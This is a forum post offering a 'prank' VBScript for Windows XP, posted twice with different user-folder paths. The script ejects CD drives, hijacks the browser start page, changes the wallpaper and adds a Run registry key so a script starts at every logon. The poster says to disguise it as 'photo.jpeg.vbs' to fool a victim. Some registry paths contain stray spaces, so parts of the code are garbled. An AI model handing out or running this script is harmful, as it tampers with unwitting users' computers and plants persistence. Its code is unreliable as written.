Prank VBS

Whoever likes making a prank can have it here is the code
first go to Start>RUN> type in Notepad> type in this code :

downread=""
if (downread="") then
downread="C:\"
end if

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
Set objwshell = Createobject("Wscript.Shell")
strpage = "http://www.randomhouse.de/content/attachment/webarticle/infiziert2_9704.jpg"
objwshell.regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",strpage

Set wshShell = WScript.CreateObject("WScript.Shell")
sUserName = wshShell.ExpandEnvironmentStrings("%USERNAME%")
Set oShell = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
sWinDir = oFSO.GetSpecialFolder(0)
sWallPaper = "C:\Dokumente und Einstellungen\"&sUserName&"\Desktop\cool.bmp"
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
sObject = "C:\Dokumente und Einstellungen\" & sUserName & "\Desktop\gaudi.vbs"
oShell.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Ru n\Security",sObject
Set oShell = Nothing
Set objwshell = Nothing
set wshShell = Nothing
Set oWMP = Nothing


__________________________________________________ __________
save as (example) photo.jpeg.vbs
this works only in Windows XP! If you awnt this for Vista to or Win 7 please post in!



(WARNING! I DO NOT TAKE ANY RESPONSIBILITY FOR ANY DAMAGE YOU CAUSE WITH THIS FILE ! IT'S IS THOUGHT FOR EDUCATIONAL PURPOSES!)
thanks!

Sry!! Wrong Code this is working only for german computers!!

Here is the right one!

downread=""
if (downread="") then
downread="C:\"
end if

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
Set objwshell = Createobject("Wscript.Shell")
strpage = "http://www.randomhouse.de/content/attachment/webarticle/infiziert2_9704.jpg"
objwshell.regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",strpage

Set wshShell = WScript.CreateObject("WScript.Shell")
sUserName = wshShell.ExpandEnvironmentStrings("%USERNAME%")
Set oShell = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
sWinDir = oFSO.GetSpecialFolder(0)
sWallPaper = "C:\Documents and settings\"&sUserName&"\Desktop\cool.bmp"
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
sObject = "C:\Documents and settings\" & sUserName & "\Desktop\(Name of File).vbs"
oShell.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersio n\Ru n\Security",sObject
Set oShell = Nothing
Set objwshell = Nothing
set wshShell = Nothing
Set oWMP = Nothing

What does this even do?